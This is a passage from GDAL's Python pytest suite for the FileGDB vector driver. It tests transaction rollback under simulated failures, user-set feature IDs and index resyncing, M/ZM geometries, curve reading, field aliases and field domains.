rollback\n (bPerLayerCopyingForTransaction, ds) = ogr_fgdb_19_open_update(\n openfilegdb_drv, fgdb_drv, \"tmp/test.gdb\"\n )\n lyr = ds.GetLayer(0)\n lyr_defn = lyr.GetLayerDefn()\n\n assert ds.StartTransaction(force=True) == 0\n\n with gdal.config_option(\"FGDB_SIMUL_FAIL\", \"CASE1\"), gdaltest.error_handler():\n ret = ds.RollbackTransaction()\n assert ret != 0\n\n ds = None\n shutil.rmtree(\"tmp/test.gdb.ogredited\")\n\n # Test an error case where we simulate a failure of reopening the rollbacked DB\n (bPerLayerCopyingForTransaction, ds) = ogr_fgdb_19_open_update(\n openfilegdb_drv, fgdb_drv, \"tmp/test.gdb\"\n )\n lyr = ds.GetLayer(0)\n lyr_defn = lyr.GetLayerDefn()\n\n assert ds.StartTransaction(force=True) == 0\n\n with gdal.config_option(\"FGDB_SIMUL_FAIL\", \"CASE2\"), gdaltest.error_handler():\n ret = ds.RollbackTransaction()\n assert ret != 0\n\n assert ds.GetLayerCount() == 0\n\n ds = None\n\n if openfilegdb_drv is not None:\n openfilegdb_drv.Deregister()\n\n\n# Same, but retry without per-layer copying optimization (in the case\n# this was what was tested in previous step)\n\n\ndef test_ogr_fgdb_19bis(openfilegdb_drv, fgdb_drv):\n\n if (\n gdaltest.is_travis_branch(\"ubuntu_2004\")\n or gdaltest.is_travis_branch(\"ubuntu_1804\")\n or gdaltest.is_travis_branch(\"ubuntu_1604\")\n or gdaltest.is_travis_branch(\"trusty_clang\")\n or gdaltest.is_travis_branch(\"python3\")\n or gdaltest.is_travis_branch(\"trunk_with_coverage\")\n ):\n pytest.skip()\n\n (bPerLayerCopyingForTransaction, ds) = ogr_fgdb_19_open_update(\n openfilegdb_drv, fgdb_drv, \"tmp/test.gdb\"\n )\n del ds\n if not bPerLayerCopyingForTransaction:\n pytest.skip()\n\n with gdal.config_option(\"FGDB_PER_LAYER_COPYING_TRANSACTION\", \"FALSE\"):\n test_ogr_fgdb_19(openfilegdb_drv, fgdb_drv)\n\n\n###############################################################################\n# Test CreateFeature() with user defined FID\n\n\ndef test_ogr_fgdb_20(openfilegdb_drv, fgdb_drv):\n\n if openfilegdb_drv is None:\n pytest.skip(\"No OpenFileGDB driver available\")\n\n if (\n gdaltest.is_travis_branch(\"ubuntu_2004\")\n or gdaltest.is_travis_branch(\"ubuntu_1804\")\n or gdaltest.is_travis_branch(\"ubuntu_1604\")\n or gdaltest.is_travis_branch(\"trusty_clang\")\n or gdaltest.is_travis_branch(\"python3\")\n or gdaltest.is_travis_branch(\"trunk_with_coverage\")\n ):\n pytest.skip()\n\n if not os.path.exists(\"tmp/test.gdb\"):\n ds = fgdb_drv.CreateDataSource(\"tmp/test.gdb\")\n ds = None\n\n # We need the OpenFileGDB driver for CreateFeature() with user defined FID\n openfilegdb_drv.Register()\n ds = fgdb_drv.Open(\"tmp/test.gdb\", update=1)\n openfilegdb_drv.Deregister()\n fgdb_drv.Deregister()\n # Force OpenFileGDB first\n openfilegdb_drv.Register()\n fgdb_drv.Register()\n\n lyr = ds.CreateLayer(\"test_2147483647\", geom_type=ogr.wkbNone)\n lyr.CreateField(ogr.FieldDefn(\"int\", ogr.OFTInteger))\n f = ogr.Feature(lyr.GetLayerDefn())\n fid = 2147483647\n f.SetFID(fid)\n f.SetField(0, fid)\n lyr.CreateFeature(f)\n ds = None\n\n ds = openfilegdb_drv.Open(\"tmp/test.gdb\")\n lyr = ds.GetLayerByName(\"test_2147483647\")\n f = lyr.GetNextFeature()\n assert f\n assert f.GetFID() == 2147483647\n ds = None\n\n ds = fgdb_drv.Open(\"tmp/test.gdb\", update=1)\n lyr = ds.GetLayerByName(\"test_2147483647\")\n # GetNextFeature() is excruciatingly slow on such huge FID with the SDK driver\n f = lyr.GetFeature(2147483647)\n assert f\n\n lyr = ds.CreateLayer(\"ogr_fgdb_20\", geom_type=ogr.wkbNone)\n lyr.CreateField(ogr.FieldDefn(\"id\", ogr.OFTInteger))\n lyr.CreateField(ogr.FieldDefn(\"str\", ogr.OFTString))\n\n ds.ExecuteSQL(\"CREATE INDEX ogr_fgdb_20_id ON ogr_fgdb_20(id)\")\n\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetField(\"id\", 1)\n ret = lyr.CreateFeature(f)\n assert (\n ret == 0\n and f.GetFID() == 1\n and lyr.GetMetadataItem(\"1\", \"MAP_OGR_FID_TO_FGDB_FID\") is None\n )\n\n # Existing FID\n with gdal.quiet_errors():\n ret = lyr.CreateFeature(f)\n assert ret != 0\n\n for invalid_fid in [-2, 0, 9876543210]:\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetFID(invalid_fid)\n with gdal.quiet_errors():\n ret = lyr.CreateFeature(f)\n assert ret != 0, invalid_fid\n\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetFID(2)\n f.SetField(\"id\", 2)\n ret = lyr.CreateFeature(f)\n if (\n ret != 0\n or f.GetFID() != 2\n or lyr.GetMetadataItem(\"2\", \"MAP_OGR_FID_TO_FGDB_FID\") is not None\n ):\n f.DumpReadable()\n pytest.fail()\n\n # OGR FID = 4, FileGDB FID = 3\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetFID(4)\n f.SetField(\"id\", 4)\n\n # Cannot call CreateFeature() with a set FID when a dataset is opened more than once\n ds2 = fgdb_drv.Open(\"tmp/test.gdb\", update=1)\n with gdal.quiet_errors():\n ret = lyr.CreateFeature(f)\n assert ret != 0\n ds2 = None\n\n ret = lyr.CreateFeature(f)\n if (\n ret != 0\n or f.GetFID() != 4\n or lyr.GetMetadataItem(\"4\", \"MAP_OGR_FID_TO_FGDB_FID\") != \"3\"\n ):\n f.DumpReadable()\n pytest.fail(lyr.GetMetadataItem(\"4\", \"MAP_OGR_FID_TO_FGDB_FID\"))\n\n # Cannot open geodatabase at the moment since it is in 'FID hack mode'\n with gdal.quiet_errors():\n ds2 = fgdb_drv.Open(\"tmp/test.gdb\", update=1)\n assert ds2 is None\n ds2 = None\n\n # Existing FID, but only in OGR space\n with gdal.quiet_errors():\n ret = lyr.CreateFeature(f)\n assert ret != 0\n\n # This FID exists as a FGDB ID, but should not be user visible.\n f.SetFID(3)\n ret = lyr.SetFeature(f)\n assert ret == ogr.OGRERR_NON_EXISTING_FEATURE\n ret = lyr.DeleteFeature(3)\n assert ret == ogr.OGRERR_NON_EXISTING_FEATURE\n ret = lyr.GetFeature(3)\n assert ret is None\n\n # Trying to set OGR FID = 3 --> FileGDB FID = 4\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetFID(3)\n f.SetField(\"id\", 3)\n\n ret = lyr.CreateFeature(f)\n if (\n ret != 0\n or f.GetFID() != 3\n or lyr.GetMetadataItem(\"3\", \"MAP_OGR_FID_TO_FGDB_FID\") != \"4\"\n ):\n f.DumpReadable()\n pytest.fail()\n\n lyr.ResetReading()\n expected = [(1, None), (2, None), (4, 3), (3, 4)]\n for i in range(2):\n for (fid, fgdb_fid) in expected:\n if i == 0:\n f = lyr.GetNextFeature()\n else:\n f = lyr.GetFeature(fid)\n assert f is not None\n if f.GetFID() != fid or f.GetField(\"id\") != fid:\n f.DumpReadable()\n pytest.fail(fid)\n got_fgdb_fid = lyr.GetMetadataItem(\n str(f.GetFID()), \"MAP_OGR_FID_TO_FGDB_FID\"\n )\n if got_fgdb_fid is None:\n assert fgdb_fid is None\n elif int(got_fgdb_fid) != fgdb_fid:\n print(fgdb_fid)\n pytest.fail(got_fgdb_fid)\n\n for fid in [-9876543210, 0, 100]:\n f = lyr.GetFeature(fid)\n if f is not None:\n f.DumpReadable()\n pytest.fail()\n\n for invalid_fid in [-2, 0, 9876543210]:\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetFID(invalid_fid)\n ret = lyr.SetFeature(f)\n assert ret == ogr.OGRERR_NON_EXISTING_FEATURE\n ret = lyr.DeleteFeature(invalid_fid)\n assert ret == ogr.OGRERR_NON_EXISTING_FEATURE\n\n f = lyr.GetFeature(3)\n f.SetField(\"str\", \"3\")\n ret = lyr.SetFeature(f)\n assert ret == 0\n\n f = lyr.GetFeature(3)\n assert f.GetField(\"str\") == \"3\"\n\n ret = lyr.DeleteFeature(1)\n assert ret == 0\n\n ret = lyr.DeleteFeature(3)\n assert ret == 0\n\n for (fid, fgdb_fid) in [\n (3, 5),\n (2049, 6),\n (10, 7),\n (7, 8),\n (9, None),\n (8, 10),\n (12, 11),\n ]:\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetFID(fid)\n f.SetField(\"id\", fid)\n ret = lyr.CreateFeature(f)\n if (\n ret != 0\n or f.GetFID() != fid\n or str(lyr.GetMetadataItem(str(fid), \"MAP_OGR_FID_TO_FGDB_FID\"))\n != str(fgdb_fid)\n ):\n f.DumpReadable()\n print(lyr.GetMetadataItem(str(fid), \"MAP_OGR_FID_TO_FGDB_FID\"))\n pytest.fail(fid)\n\n # Normally 12 should be attributed, but it has already been reserved\n f = ogr.Feature(lyr.GetLayerDefn())\n ret = lyr.CreateFeature(f)\n if ret != 0 or f.GetFID() != 13:\n f.DumpReadable()\n pytest.fail()\n f.SetField(\"id\", f.GetFID())\n lyr.SetFeature(f)\n\n lyr.ResetReading()\n expected = [\n (2, None),\n (4, 3),\n (3, 5),\n (2049, 6),\n (10, 7),\n (7, 8),\n (9, None),\n (8, 10),\n ]\n for (fid, fgdb_fid) in expected:\n f = lyr.GetNextFeature()\n assert f is not None\n if (\n f.GetFID() != fid\n or f.GetField(\"id\") != fid\n or str(lyr.GetMetadataItem(str(fid), \"MAP_OGR_FID_TO_FGDB_FID\"))\n != str(fgdb_fid)\n ):\n f.DumpReadable()\n print(lyr.GetMetadataItem(str(fid), \"MAP_OGR_FID_TO_FGDB_FID\"))\n pytest.fail(fid)\n\n lyr.SetAttributeFilter(\"id = 3\")\n lyr.ResetReading()\n f = lyr.GetNextFeature()\n if f.GetFID() != 3:\n f.DumpReadable()\n pytest.fail()\n\n # This will cause a resync of indexes\n lyr.SetAttributeFilter(\"OBJECTID = 3\")\n lyr.ResetReading()\n f = lyr.GetNextFeature()\n if f.GetFID() != 3:\n f.DumpReadable()\n pytest.fail()\n\n # No sparse pages\n lyr = ds.CreateLayer(\"ogr_fgdb_20_simple\", geom_type=ogr.wkbNone)\n lyr.CreateField(ogr.FieldDefn(\"id\", ogr.OFTInteger))\n\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetFID(2)\n f.SetField(\"id\", 2)\n lyr.CreateFeature(f)\n\n # This will cause a resync of indexes\n sql_lyr = ds.ExecuteSQL(\"SELECT * FROM ogr_fgdb_20_simple\")\n f = sql_lyr.GetNextFeature()\n if f.GetFID() != 2:\n f.DumpReadable()\n pytest.fail()\n\n # Do not allow user set FID while a select layer is in progress\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetFID(3)\n f.SetField(\"id\", 3)\n with gdal.quiet_errors():\n ret = lyr.CreateFeature(f)\n assert ret != 0\n\n ds.ReleaseResultSet(sql_lyr)\n\n # Do it in transaction, but this is completely orthogonal\n ds.StartTransaction(force=True)\n\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetFID(3)\n f.SetField(\"id\", 3)\n lyr.CreateFeature(f)\n f = None\n\n ds.CommitTransaction()\n\n # Multi-page indexes\n srs = osr.SpatialReference()\n srs.ImportFromEPSG(32630)\n with gdal.config_option(\"FGDB_RESYNC_THRESHOLD\", \"600\"):\n lyr = ds.CreateLayer(\"ogr_fgdb_20_indexes\", geom_type=ogr.wkbPoint, srs=srs)\n lyr.CreateField(ogr.FieldDefn(\"id\", ogr.OFTInteger))\n ds.ExecuteSQL(\"CREATE INDEX ogr_fgdb_20_indexes_id ON ogr_fgdb_20_indexes(id)\")\n with gdal.config_option(\"FGDB_BULK_LOAD\", \"YES\"):\n for i in range(1000):\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetFID(i + 2)\n f.SetField(\"id\", i + 2)\n f.SetGeometry(ogr.CreateGeometryFromWkt(\"POINT (%d 0)\" % i))\n lyr.CreateFeature(f)\n ds = None\n\n # Check consistency after re-opening\n gdal.ErrorReset()\n for update in [0, 1]:\n ds = fgdb_drv.Open(\"tmp/test.gdb\", update=update)\n lyr = ds.GetLayerByName(\"ogr_fgdb_20\")\n assert lyr.GetFeatureCount() == 10\n lyr.ResetReading()\n expected = [2, 3, 4, 7, 8, 9, 10, 12, 13, 2049]\n for fid in expected:\n f = lyr.GetNextFeature()\n assert gdal.GetLastErrorType() == 0\n assert f is not None, fid\n if f.GetFID() != fid or f.GetField(\"id\") != fid:\n f.DumpReadable()\n pytest.fail(fid)\n\n for fid in expected:\n lyr.SetAttributeFilter(\"id = %d\" % fid)\n lyr.ResetReading()\n f = lyr.GetNextFeature()\n if f.GetFID() != fid or f.GetField(\"id\") != fid:\n f.DumpReadable()\n pytest.fail(fid)\n\n lyr = ds.GetLayerByName(\"ogr_fgdb_20_simple\")\n f = lyr.GetNextFeature()\n assert f.GetFID() == 2\n f = lyr.GetNextFeature()\n assert f.GetFID() == 3\n\n # Check attribute index\n lyr = ds.GetLayerByName(\"ogr_fgdb_20_indexes\")\n for i in range(1000):\n fid = i + 2\n lyr.SetAttributeFilter(\"id = %d\" % fid)\n lyr.ResetReading()\n f = lyr.GetNextFeature()\n assert f.GetFID() == fid\n\n # Check spatial index\n lyr.SetAttributeFilter(None)\n if update == 1:\n for i in range(1000):\n fid = i + 2\n lyr.SetSpatialFilterRect(i - 0.01, -0.01, i + 0.01, 0.01)\n lyr.ResetReading()\n f = lyr.GetNextFeature()\n assert f.GetFID() == fid\n\n # Insert new features\n ds = fgdb_drv.Open(\"tmp/test.gdb\", update=1)\n lyr = ds.GetLayerByName(\"ogr_fgdb_20\")\n for (fid, fgdb_fid) in [\n (10000000, 2050),\n (10000001, 2051),\n (8191, 2052),\n (16384, 2053),\n ]:\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetFID(fid)\n f.SetField(\"id\", fid)\n ret = lyr.CreateFeature(f)\n if (\n ret != 0\n or f.GetFID() != fid\n or str(lyr.GetMetadataItem(str(fid), \"MAP_OGR_FID_TO_FGDB_FID\"))\n != str(fgdb_fid)\n ):\n f.DumpReadable()\n pytest.fail(lyr.GetMetadataItem(str(fid), \"MAP_OGR_FID_TO_FGDB_FID\"))\n\n ds = None\n\n # Insert a new intermediate FIDs\n for (fid, fgdb_fid) in [(1000000, 10000002), (1000001, 10000002)]:\n\n ds = fgdb_drv.Open(\"tmp/test.gdb\", update=1)\n lyr = ds.GetLayerByName(\"ogr_fgdb_20\")\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetFID(fid)\n f.SetField(\"id\", fid)\n ret = lyr.CreateFeature(f)\n if (\n ret != 0\n or f.GetFID() != fid\n or lyr.GetMetadataItem(str(fid), \"MAP_OGR_FID_TO_FGDB_FID\") != str(fgdb_fid)\n ):\n f.DumpReadable()\n pytest.fail(lyr.GetMetadataItem(str(fid), \"MAP_OGR_FID_TO_FGDB_FID\"))\n ds = None\n\n # Check consistency after re-opening\n gdal.ErrorReset()\n for update in [0, 1]:\n ds = fgdb_drv.Open(\"tmp/test.gdb\", update=update)\n lyr = ds.GetLayerByName(\"ogr_fgdb_20\")\n assert lyr.GetFeatureCount() == 16\n lyr.ResetReading()\n expected = [\n 2,\n 3,\n 4,\n 7,\n 8,\n 9,\n 10,\n 12,\n 13,\n 2049,\n 8191,\n 16384,\n 1000000,\n 1000001,\n 10000000,\n 10000001,\n ]\n for fid in expected:\n f = lyr.GetNextFeature()\n assert gdal.GetLastErrorType() == 0\n assert f is not None, fid\n if f.GetFID() != fid or f.GetField(\"id\") != fid:\n f.DumpReadable()\n pytest.fail(fid)\n\n # Simulate different errors when database reopening is done\n # to sync ids\n for case in (\"CASE1\", \"CASE2\", \"CASE3\"):\n try:\n shutil.rmtree(\"tmp/test2.gdb\")\n except OSError:\n pass\n\n ds = fgdb_drv.CreateDataSource(\"tmp/test2.gdb\")\n\n lyr = ds.CreateLayer(\"foo\", geom_type=ogr.wkbNone)\n lyr.CreateField(ogr.FieldDefn(\"id\", ogr.OFTInteger))\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetFID(2)\n f.SetField(\"id\", 2)\n lyr.CreateFeature(f)\n\n with gdal.quiet_errors():\n with gdal.config_option(\"FGDB_SIMUL_FAIL_REOPEN\", case):\n sql_lyr = ds.ExecuteSQL(\"SELECT * FROM foo\")\n if case == \"CASE3\":\n assert sql_lyr is not None, case\n ds.ReleaseResultSet(sql_lyr)\n else:\n assert sql_lyr is None, case\n\n # Everything will fail, but hopefully without crashing\n lyr.ResetReading()\n assert lyr.GetNextFeature() is None\n assert lyr.GetFeature(1) is None\n assert lyr.DeleteFeature(1) != 0\n assert lyr.CreateFeature(f) != 0\n assert lyr.SetFeature(f) != 0\n if case != \"CASE3\":\n assert ds.CreateLayer(\"bar\", geom_type=ogr.wkbNone) is None\n assert ds.DeleteLayer(0) != 0\n sql_lyr = ds.ExecuteSQL(\"SELECT * FROM foo\")\n assert case == \"CASE3\" or sql_lyr is None\n ds.ReleaseResultSet(sql_lyr)\n\n ds = None\n\n openfilegdb_drv.Deregister()\n # sys.exit(0)\n\n\n###############################################################################\n# Test M support\n\n\ndef test_ogr_fgdb_21(fgdb_drv, fgdb_sdk_1_4_or_later):\n # Fails on MULTIPOINT ZM\n if (\n gdaltest.is_travis_branch(\"ubuntu_2004\")\n or gdaltest.is_travis_branch(\"ubuntu_1804\")\n or gdaltest.is_travis_branch(\"ubuntu_1604\")\n or gdaltest.is_travis_branch(\"python3\")\n or gdaltest.is_ci()\n ):\n pytest.skip()\n\n try:\n shutil.rmtree(\"tmp/test.gdb\")\n except OSError:\n pass\n\n ds = fgdb_drv.CreateDataSource(\"tmp/test.gdb\")\n\n datalist = [\n [\"pointm\", ogr.wkbPointM, \"POINT M (1 2 3)\"],\n [\"pointzm\", ogr.wkbPointM, \"POINT ZM (1 2 3 4)\"],\n [\"multipointm\", ogr.wkbMultiPointM, \"MULTIPOINT M ((1 2 3),(4 5 6))\"],\n [\"multipointzm\", ogr.wkbMultiPointZM, \"MULTIPOINT ZM ((1 2 3 4),(5 6 7 8))\"],\n [\n \"linestringm\",\n ogr.wkbLineStringM,\n \"LINESTRING M (1 2 3,4 5 6)\",\n \"MULTILINESTRING M ((1 2 3,4 5 6))\",\n ],\n [\n \"linestringzm\",\n ogr.wkbLineStringZM,\n \"LINESTRING ZM (1 2 3 4,5 6 7 8)\",\n \"MULTILINESTRING ZM ((1 2 3 4,5 6 7 8))\",\n ],\n [\n \"multilinestringm\",\n ogr.wkbMultiLineStringM,\n \"MULTILINESTRING M ((1 2 3,4 5 6))\",\n ],\n [\n \"multilinestringzm\",\n ogr.wkbMultiLineStringZM,\n \"MULTILINESTRING ZM ((1 2 3 4,5 6 7 8))\",\n ],\n [\n \"polygonm\",\n ogr.wkbPolygonM,\n \"POLYGON M ((0 0 1,0 1 2,1 1 3,1 0 4,0 0 1))\",\n \"MULTIPOLYGON M (((0 0 1,0 1 2,1 1 3,1 0 4,0 0 1)))\",\n ],\n [\n \"polygonzm\",\n ogr.wkbPolygonZM,\n \"POLYGON ZM ((0 0 1 -1,0 1 2 -2,1 1 3 -3,1 0 4 -4,0 0 1 -1))\",\n \"MULTIPOLYGON ZM (((0 0 1 -1,0 1 2 -2,1 1 3 -3,1 0 4 -4,0 0 1 -1)))\",\n ],\n [\n \"multipolygonm\",\n ogr.wkbMultiPolygonM,\n \"MULTIPOLYGON M (((0 0 1,0 1 2,1 1 3,1 0 4,0 0 1)))\",\n ],\n [\n \"multipolygonzm\",\n ogr.wkbMultiPolygonZM,\n \"MULTIPOLYGON ZM (((0 0 1 -1,0 1 2 -2,1 1 3 -3,1 0 4 -4,0 0 1 -1)))\",\n ],\n [\"empty_polygonm\", ogr.wkbPolygonM, \"POLYGON M EMPTY\", None],\n ]\n\n srs = osr.SpatialReference()\n srs.SetFromUserInput(\"WGS84\")\n\n for data in datalist:\n lyr = ds.CreateLayer(data[0], geom_type=data[1], srs=srs, options=[])\n\n feat = ogr.Feature(lyr.GetLayerDefn())\n # print(data[2])\n feat.SetGeometry(ogr.CreateGeometryFromWkt(data[2]))\n lyr.CreateFeature(feat)\n\n ds = None\n ds = ogr.Open(\"tmp/test.gdb\")\n\n for data in datalist:\n lyr = ds.GetLayerByName(data[0])\n expected_geom_type = data[1]\n if expected_geom_type == ogr.wkbLineStringM:\n expected_geom_type = ogr.wkbMultiLineStringM\n elif expected_geom_type == ogr.wkbLineStringZM:\n expected_geom_type = ogr.wkbMultiLineStringZM\n elif expected_geom_type == ogr.wkbPolygonM:\n expected_geom_type = ogr.wkbMultiPolygonM\n elif expected_geom_type == ogr.wkbPolygonZM:\n expected_geom_type = ogr.wkbMultiPolygonZM\n\n assert lyr.GetGeomType() == expected_geom_type, data\n feat = lyr.GetNextFeature()\n try:\n expected_wkt = data[3]\n except IndexError:\n expected_wkt = data[2]\n\n ogrtest.check_feature_geometry(feat, expected_wkt)\n\n\n###############################################################################\n# Read curves\n\n\n@pytest.mark.require_driver(\"CSV\")\ndef test_ogr_fgdb_22():\n\n ds = ogr.Open(\"data/filegdb/curves.gdb\")\n lyr = ds.GetLayerByName(\"line\")\n ds_ref = ogr.Open(\"data/filegdb/curves_line.csv\")\n lyr_ref = ds_ref.GetLayer(0)\n for f in lyr:\n f_ref = lyr_ref.GetNextFeature()\n ogrtest.check_feature_geometry(f, f_ref.GetGeometryRef())\n\n lyr = ds.GetLayerByName(\"polygon\")\n ds_ref = ogr.Open(\"data/filegdb/curves_polygon.csv\")\n lyr_ref = ds_ref.GetLayer(0)\n for f in lyr:\n f_ref = lyr_ref.GetNextFeature()\n ogrtest.check_feature_geometry(f, f_ref.GetGeometryRef())\n\n ds = ogr.Open(\"data/filegdb/curve_circle_by_center.gdb\")\n lyr = ds.GetLayer(0)\n ds_ref = ogr.Open(\"data/filegdb/curve_circle_by_center.csv\")\n lyr_ref = ds_ref.GetLayer(0)\n for f in lyr:\n f_ref = lyr_ref.GetNextFeature()\n ogrtest.check_feature_geometry(f, f_ref.GetGeometryRef())\n\n\n###############################################################################\n# Test opening '.'\n\n\ndef test_ogr_fgdb_23():\n\n os.chdir(\"data/filegdb/curves.gdb\")\n ds = ogr.Open(\".\")\n os.chdir(\"../../..\")\n assert ds is not None\n\n\n###############################################################################\n# Read polygons with M component where the M of the closing point is not the\n# one of the starting point (#7017)\n\n\n@pytest.mark.require_driver(\"CSV\")\ndef test_ogr_fgdb_24():\n\n ds = ogr.Open(\"data/filegdb/filegdb_polygonzm_m_not_closing_with_curves.gdb\")\n lyr = ds.GetLayer(0)\n ds_ref = ogr.Open(\n \"data/filegdb/filegdb_polygonzm_m_not_closing_with_curves.gdb.csv\"\n )\n lyr_ref = ds_ref.GetLayer(0)\n for f in lyr:\n f_ref = lyr_ref.GetNextFeature()\n ogrtest.check_feature_geometry(f, f_ref.GetGeometryRef())\n\n ds = ogr.Open(\"data/filegdb/filegdb_polygonzm_nan_m_with_curves.gdb\")\n lyr = ds.GetLayer(0)\n ds_ref = ogr.Open(\"data/filegdb/filegdb_polygonzm_nan_m_with_curves.gdb.csv\")\n lyr_ref = ds_ref.GetLayer(0)\n for f in lyr:\n f_ref = lyr_ref.GetNextFeature()\n ogrtest.check_feature_geometry(f, f_ref.GetGeometryRef())\n\n\n###############################################################################\n# Test selecting FID column with OGRSQL\n\n\ndef test_ogr_fgdb_25():\n\n ds = ogr.Open(\"data/filegdb/curves.gdb\")\n sql_lyr = ds.ExecuteSQL(\"SELECT OBJECTID FROM polygon WHERE OBJECTID = 2\")\n assert sql_lyr is not None\n f = sql_lyr.GetNextFeature()\n if f.GetFID() != 2:\n f.DumpReadable()\n pytest.fail()\n f = sql_lyr.GetNextFeature()\n assert f is None\n ds.ReleaseResultSet(sql_lyr)\n\n lyr = ds.GetLayerByName(\"polygon\")\n lyr.SetAttributeFilter(\"OBJECTID = 2\")\n f = lyr.GetNextFeature()\n if f.GetFID() != 2:\n f.DumpReadable()\n pytest.fail()\n\n\n###############################################################################\n# Test bugfix for https://github.com/OSGeo/gdal/issues/1369\n# where a polygon with inner rings has its exterior ring with wrong orientation\n\n\n@pytest.mark.require_geos\ndef test_ogr_fgdb_weird_winding_order(fgdb_sdk_1_4_or_later):\n\n try:\n shutil.rmtree(\"tmp/roads_clip Drawing.gdb\")\n except OSError:\n pass\n gdaltest.unzip(\"tmp\", \"data/filegdb/weird_winding_order_fgdb.zip\")\n\n ds = ogr.Open(\"tmp/roads_clip Drawing.gdb\")\n lyr = ds.GetLayer(0)\n f = lyr.GetNextFeature()\n g = f.GetGeometryRef()\n assert g.GetGeometryCount() == 1\n assert g.GetGeometryRef(0).GetGeometryCount() == 17\n\n\n###############################################################################\n# Test bugfix for https://github.com/OSGeo/gdal/issues/1369\n# where a polygon with inner rings has its exterior ring with wrong orientation\n\n\ndef test_ogr_fgdb_utc_datetime():\n\n ds = ogr.Open(\"data/filegdb/testdatetimeutc.gdb\")\n lyr = ds.GetLayer(0)\n f = lyr.GetNextFeature()\n # Check that the timezone +00 is present\n assert f.GetFieldAsString(\"EditDate\") == \"2020/06/22 07:49:36+00\"\n\n\n###############################################################################\n# Test field alias\n\n\ndef test_ogr_fgdb_alias(fgdb_drv):\n\n try:\n shutil.rmtree(\"tmp/alias.gdb\")\n except OSError:\n pass\n\n srs = osr.SpatialReference()\n srs.SetFromUserInput(\"WGS84\")\n\n ds = fgdb_drv.CreateDataSource(\"tmp/alias.gdb\")\n lyr = ds.CreateLayer(\"test\", srs=srs, geom_type=ogr.wkbPoint)\n fld_defn = ogr.FieldDefn(\"short_name\", ogr.OFTInteger)\n fld_defn.SetAlternativeName(\"longer name\")\n lyr.CreateField(fld_defn)\n fld_defn = ogr.FieldDefn(\"regular_name\", ogr.OFTInteger)\n lyr.CreateField(fld_defn)\n ds = None\n\n ds = ogr.Open(\"tmp/alias.gdb\")\n lyr = ds.GetLayer(0)\n lyr_defn = lyr.GetLayerDefn()\n assert lyr_defn.GetFieldDefn(0).GetAlternativeName() == \"longer name\"\n assert lyr_defn.GetFieldDefn(1).GetAlternativeName() == \"\"\n\n try:\n shutil.rmtree(\"tmp/alias.gdb\")\n except OSError:\n pass\n\n\n###############################################################################\n# Test field alias with ampersand character. Requires OpenFileGDB to be read back\n\n\n@pytest.mark.require_driver(\"OpenFileGDB\")\ndef test_ogr_fgdb_alias_with_ampersand(fgdb_drv, openfilegdb_drv):\n\n try:\n shutil.rmtree(\"tmp/alias.gdb\")\n except OSError:\n pass\n\n srs = osr.SpatialReference()\n srs.SetFromUserInput(\"WGS84\")\n\n ds = fgdb_drv.CreateDataSource(\"tmp/alias.gdb\")\n lyr = ds.CreateLayer(\"test\", srs=srs, geom_type=ogr.wkbPoint)\n fld_defn = ogr.FieldDefn(\"short_name\", ogr.OFTInteger)\n fld_defn.SetAlternativeName(\"longer & name\")\n lyr.CreateField(fld_defn)\n fld_defn = ogr.FieldDefn(\"regular_name\", ogr.OFTInteger)\n lyr.CreateField(fld_defn)\n ds = None\n\n openfilegdb_drv.Register()\n ds = fgdb_drv.Open(\"tmp/alias.gdb\")\n openfilegdb_drv.Deregister()\n lyr = ds.GetLayer(0)\n lyr_defn = lyr.GetLayerDefn()\n assert lyr_defn.GetFieldDefn(0).GetAlternativeName() == \"longer & name\"\n assert lyr_defn.GetFieldDefn(1).GetAlternativeName() == \"\"\n\n try:\n shutil.rmtree(\"tmp/alias.gdb\")\n except OSError:\n pass\n\n\n###############################################################################\n# Test reading field domains\n\n\ndef _check_domains(ds):\n\n assert set(ds.GetFieldDomainNames()) == {\n \"MedianType\",\n \"RoadSurfaceType\",\n \"SpeedLimit\",\n }\n\n with gdal.quiet_errors():\n assert ds.GetFieldDomain(\"i_dont_exist\") is None\n lyr = ds.GetLayer(0)\n lyr_defn = lyr.GetLayerDefn()\n\n fld_defn = lyr_defn.GetFieldDefn(lyr_defn.GetFieldIndex(\"MaxSpeed\"))\n assert fld_defn.GetDomainName() == \"SpeedLimit\"\n\n domain = ds.GetFieldDomain(\"SpeedLimit\")\n assert domain is not None\n assert domain.GetName() == \"SpeedLimit\"\n assert domain.GetDescription() == \"The maximun speed of the road\"\n assert domain.GetDomainType() == ogr.OFDT_RANGE\n assert domain.GetFieldType() == fld_defn.GetType()\n assert domain.GetFieldSubType() == fld_defn.GetSubType()\n assert domain.GetMinAsDouble() == 40.0\n assert domain.GetMaxAsDouble() == 100.0\n\n fld_defn = lyr_defn.GetFieldDefn(lyr_defn.GetFieldIndex(\"MedianType\"))\n assert fld_defn.GetDomainName() == \"MedianType\"\n\n domain = ds.GetFieldDomain(\"MedianType\")\n assert domain is not None\n assert domain.GetName() == \"MedianType\"\n assert domain.GetDescription() == \"Road median types.\"\n assert domain.GetDomainType() == ogr.OFDT_CODED\n assert domain.GetFieldType() == fld_defn.GetType()\n assert domain.GetFieldSubType() == fld_defn.GetSubType()\n assert domain.GetEnumeration() == {\"0\": \"None\", \"1\": \"Cement\"}\n\n\ndef test_ogr_fgdb_read_domains():\n\n ds = gdal.OpenEx(\"data/filegdb/Domains.gdb\", gdal.OF_VECTOR)\n _check_domains(ds)\n\n\n###############################################################################\n# Test writing field domains\n\n\ndef test_ogr_fgdb_write_domains(fgdb_drv):\n\n out_dir = \"tmp/test_ogr_fgdb_write_domains.gdb\"\n try:\n shutil.rmtree(out_dir)\n except OSError:\n pass\n\n ds = gdal.VectorTranslate(out_dir, \"data/filegdb/Domains.gdb\", options=\"-f FileGDB\")\n _check_domains(ds)\n\n assert ds.TestCapability(ogr.ODsCAddFieldDomain) == 1\n assert ds.TestCapability(ogr.ODsCDeleteFieldDomain) == 1\n assert 